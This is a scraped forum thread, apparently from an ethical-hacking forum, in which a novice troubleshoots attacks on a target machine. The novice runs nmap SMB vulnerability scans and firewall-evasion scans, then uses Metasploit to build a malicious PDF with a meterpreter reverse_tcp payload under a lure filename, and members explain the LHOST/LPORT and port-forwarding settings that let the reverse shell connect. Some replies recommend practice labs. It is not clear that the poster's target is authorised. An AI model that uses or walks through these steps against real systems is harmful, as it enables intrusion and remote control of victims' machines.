NetBIOS is a binary protocol. You can run the following nmap command to check for a few vulnerabilities. There are also any number of scanners that will identify NetBios vulnerabilities. nmap -sV -PN <IP Address> -p 445,137,139 --script=smb-check-vulns.nse thanks for the info i tried this with this results nmap -sV -PN 10.0.0.3 -p 445,139 --script=smb-check-vulns.nse
Starting Nmap 5.00 ( http://nmap.org ) at 2010-05-21 13:27 Egypt Dayl Interesting ports on 10.0.0.3: PORT STATE SERVICE VERSION 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-dsand also tried to send Fin scan to bypass firewall with this result nmap -sF -P0 10.0.0.3 -p 445
Starting Nmap 5.00 ( http://nmap.org ) at 2010-05-21 1 Interesting ports on 10.0.0.3: PORT STATE SERVICE 445/tcp open|filtered microsoft-dsand also with Xmas scan this is the result nmap>nmap -sX -P0 10.0.0.3 -p 445

Pay close attention to what Ketchup told you. When I mentioned banner grabbing, I wasn't specifically doing so, for 445. It was a generalization, that is something you should be doing to any list you get from your initial scans, before trying to just jump in and exploit.
But Ketchup's advice is very valid, for your port 445 scenario.
yes i know Hayabusa but why i did it for port 445 only because i know that port 139 netbios not possible to exploit under windows xp sp3 patched system i tried many times with no success :S its on sp1 i think only

@rebrov - Glad to see you're still hanging around, and learning! That list shows open ports, and generically defined services. Your next steps should be connecting to those ports, and banner grabbing / researching, to see what service versions, etc, are reported as running on those ports, then follow up with searches for vulnerabilities existing on those versions and services. thanks for info i will try telnet or netcat for banner grabbing  For instance, you might find that some other service is actually using that port, and it's not really Microsoft ds on there, at all. Conversely, you could be hitting a honeypot (if this were a real-life pentest,) where that port isn't really even running the exploitable service, but responds to queries as if it was. You need to adequately try to determine what's running, not just gather a basic list of responding ports, and start attacking.  These are very tried and true principles for pentesting, and you need to do some digging on them, rather than just throwing a list of nmap reported open ports to the list. We're here to help, and to answer educated questions, not to lead you through every step. (No offense intended, just recommending you spend more time on this than simply a base nmap scan, followed by, "why doesn't an exploit work on 445?") I understand that you're running a tool, like Metasploit, to perform these tests, but sometimes, you need to have a clearer understanding of the target system and it's services, before just throwing Metasploit and other tools at it, in the hopes that generically defined exploits will 'just work' as you'd like / expect them to. Good luck, and as you continue, let us know what more you find.

another question : if i dont have access to the router and i specified port 8080
as LPORT and as LHOST i assigned my WAN external ip
now when the reverse connection back again to my router which local ip will choose to pass the traffic !!!! because i think that all Lan ips should have port 80 open and allowed for incoming traffic from outside
second question what if i opened port and forwarded it to my local ip
and i did the same port to another ip !! ?
what should be happen ?
the router will flood the frame ( broadcast ) to all local ips except the one came from and when my ip gets the frame while im at handler listener mode i will receive it ??
what do u think ??

Your router has two interface- external and internal. Each interface has a separate I.P address. When you use 'ipconfig', the I.P address of the default gateway you see there is its I.P address for your INTERNAL network. This address is not routable on the internet. Even my router can have the same internal I.P address as your router and we'll be able to communicate. What the world sees is the I.P address of the external interface of your router. This I.P address is your unique I.P address on the internet. It's the one that's used when some other system wants to connect to you. So in this case set LHOST to 41.x.x.x and forward LPORT from your router to your 10.0.0.167 machine. I don't think that your I.P address basics are weak...it's just that they aren't strong  . Reading a IPv4 chapter from a good book will make your concepts clear. well  i already said i've taken CCNA course im at level 4 now  dun have to read ipv4 again :S studied it already at the 1st level those levels that i already got Certificate on : 1-Network Fundamentals 2-Routing Protocols and Concepts 3-LAN Switching and Wireless still need to pass the : 4-Accessing the WAN course so i can go for the final CCNA exam but whats make my info kinda weak that i didn't follow lvl 1 when i finish lvl i go for next and dont practice for the earlier lvls  thanks mate anyway

LHOST should be the external IP address of your router and LPORT is the port 'forwarded' from your router to your internal machine. You can't use your local LAN I.P for LPORT because it's a private I.P address and private addresses aren't routable on the internet. The Internet Assigned Numbers Authority (IANA) has reserved the following three blocks of the IP address space for local networks. 10.0.0.0 - 10.255.255.255 172.16.0.0 - 172.31.255.255 192.168.0.0 - 192.168.255.255 Suppose your router has an external I.P address 172.16.1.1 ( I've used a private I.P address for this e.g as I don't want to offend anyone) and your computer's I.P address is 10.0.0.1 In this case you'll set your LHOST to 172.16.1.1 and your LPORT to a port forwarded by your router to your 10.0.0.1 computer. i changed the LPORT to 80 in both steps cuz i think that router should pass the traffic to me because its port 80 and never be closed right ?? We normally use port 80 for LPORT because most firewalls allow 'outbound' traffic through this port and communication through this looks pretty innocuous. Though the victim's firewall will allow a reverse shell through port 80, you won't get it unless you forward port 80 from your router to your computer i.e you've to specifically allow 'inbound' port 80. well thanks for the info however i didn't figure out this part correctly what u want to say is ... i should put the external ip of router lets say my ip is 10.0.0.167 so the gateway of my network should be 10.0.0.1 it not should but most Administrators put the 1st ip after the network reserved for gateway example : 10.0.0.0 = network 10.0.0.1 = gateway 10.0.0.2 = dns 10.0.0.167 = my ip so the external ip u talking about is the gateway ?? 10.0.0.1  or the NAT ip that the router configured to translate the local operations over the internet to that NAT ip when u configuring the NAT pool .... is that what u mean ? because my gateway is 10.0.0.1 and my NAT (WAN) ip is 41.xxx.xxx.xxx which one u mean but as my network knowledge it can't be the 10.0.0.1 since the gateway it will route my traffic to the WAN to the outside but when im delivering packet from outside it will go through the WAN 41.xxx.xxx.xxx right !! ? so as a Meta script i should assign the WAN ip as the reverse connect back ip and port forward same port listening to my local ip what do u think ? we all share info and knowledge here and thanks mate for co-operating with me i hope u can reply ASAP bye

LHOST => 192.168.8.128 my question is : at the part--> set LHOST 192.168.8.128 i put my local LAN ip or my public NATTED ip  ?? what might be the problem ??[/color] Constructive criticism time... You need to learn the differences between routable IP's and RFC 1918 addresses. ( http://www.faqs.org/rfcs/rfc1918.html) RFC 1918 addresses would never be routable across the Internet. So while you placed the L(istening)HOST address, you made it into a Local Address on the 192,168. 8.x network. So unless both you and that victim were on the same network, it would never work. I suggest understanding the differences in addressing before even going further. Networking is a fundamental MUST UNDERSTAND if you're going to get involved with pentesting. I rank it as the TOP priority. I suggest learning TCP/IP and routing so here is the freebie for the week: Juniper's Fast Track training program. It's free and informative for anyone seeking to understand networking. You don't need to necessarily want to aim for JNCIA certification but watching the content and reading the content will help you in the long run. https://learningportal.juniper.net/juniper/user_fasttrack_home.aspxthats why i ask doesn't mean i dont know i do know that u can't if he outside thats whyi asked but u still didn't answer my question if he in diff network outside remote network so my local ip wont work right ?? cuz after writing the script to the pdf malicious file when he activate it the script will look for the LHOST and its local ip will not go to outside cuz it will be impossible to search outside the script thats why i asked what should i put instead of the LHOST !! ? i should put the WAN ip my natted IP and with port forwarding the port i already put in the meta pdf script the reverse connection will know the way to my pc ,,,, thats what i think ! waiting for some one to fix my knowledge and btw ; already passed 3 levels CCNA

well ,,,, i have issue i tried this client-side attack from metasploit 3.3.3. and when im creating the pdf malicious file the window disappear ,,, why ? while at the offensive-security site it was : msf > use exploit/windows/fileformat/adobe_utilprintf msf exploit(adobe_utilprintf) > set FILENAME BestComputers-UpgradeInstructions.pdf FILENAME => BestComputers-UpgradeInstructions.pdf msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128 LHOST => 192.168.8.128 msf exploit(adobe_utilprintf) > set LPORT 4455 LPORT => 4455
msf exploit(adobe_utilprintf) > exploit
- Handler binding to LHOST 0.0.0.0
- Started reverse handler
- Creating 'BestComputers-UpgradeInstructions.pdf' file...
- Generated output file /pentest/exploits/framework3/data/exploits/BestComputers-UpgradeInstructions.pdf
- Exploit completed, but no session was created.
msf exploit(adobe_utilprintf) >why mine disappear ,, i can't even read the loading commands at the msf cuz its running very fast and then closed anyway when i opened the msf directory and looked to the .pdf file i found it about 7 kb size my question is : at the part--> set LHOST 192.168.8.128 i put my local LAN ip or my public NATTED ip  ?? 1st time i put my local lan ip its 10.0.0.167 then started the multi handler to make msf lestin to reverse connection from the remote target msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LPORT 4455 LPORT => 4455 msf exploit(handler) > set LHOST 192.168.8.128 LHOST => 192.168.8.128 msf exploit(handler) > exploit
- Handler binding to LHOST 0.0.0.0
- Started reverse handler
- Starting the payload handler.[/color]
then i deliverd it to the remote target with no response ,,,
tip : i changed the LPORT to 80 in both steps cuz i think that router should pass the traffic to me because its port 80 and never be closed right ??
what might be the problem ??

You do not need any expensive stuff to build your 'virtual' test lab. In fact most of the stuff in my lab is absolutely free. You can find various open source counterparts of commercial tools. There are various 'free' virtualization products available like virtualbox, vmware player and vmware server. I'm a big fan of vmware products. Personally, I believe that vmware server will be enough for what you want to do. Vmware server is a stripped down version of the excellent commercial vmware workstation but contains almost all the basic features you'll require. You can download pre-built linux virtual machines from the vmware website http://www.vmware.com/appliances/directory/There's also a free route to get Windows OS. Either you can download the OS from Microsoft's website which comes with around 3 month trial period. Furthermore, you can also download Windows XP SP2 virtual machine from NIST's website http://www.offensive-security.com/metasploit-unleashed/windows-xp-machine-setupAs for the softwares like ftp, telnet daemons and webservers etc...well most of them are free anyway  Jhaddix and Laz3r have posted wonderful tutorials to build a virtual test lab. You can get them here:- Network pentest lab setup Pentest Lab: Web Application Edition Additionally, you can practice on ready made targets like De-ICE live disks, hackerdemia and pWnOS all of which are available here http://forums.heorot.net/ You also have LAMP security disks http://sourceforge.net/projects/lampsecurity/ Also try your hands at the 'Skillz' section of this forum http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/board,12.0/ They will test your limits. There's also a topic here at EHNet which will direct you to more stuff for practicing http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,5043.0/As for the other part of your question. Teamviewer does not make you connect to the remote computer directly (Not until you both are on the same network). When you initiate a connection to a remote computer, you and the remote computer are in fact connected to the teamviewer server. So all the data flows through the server and you don't have to forward any ports or worry about the firewall rules  I hope that solved some of your problems  thanks alot for this inforamtion it helped alot i will check out the pentest lab to build my own 1  and try to practice more and more  thanks buddy
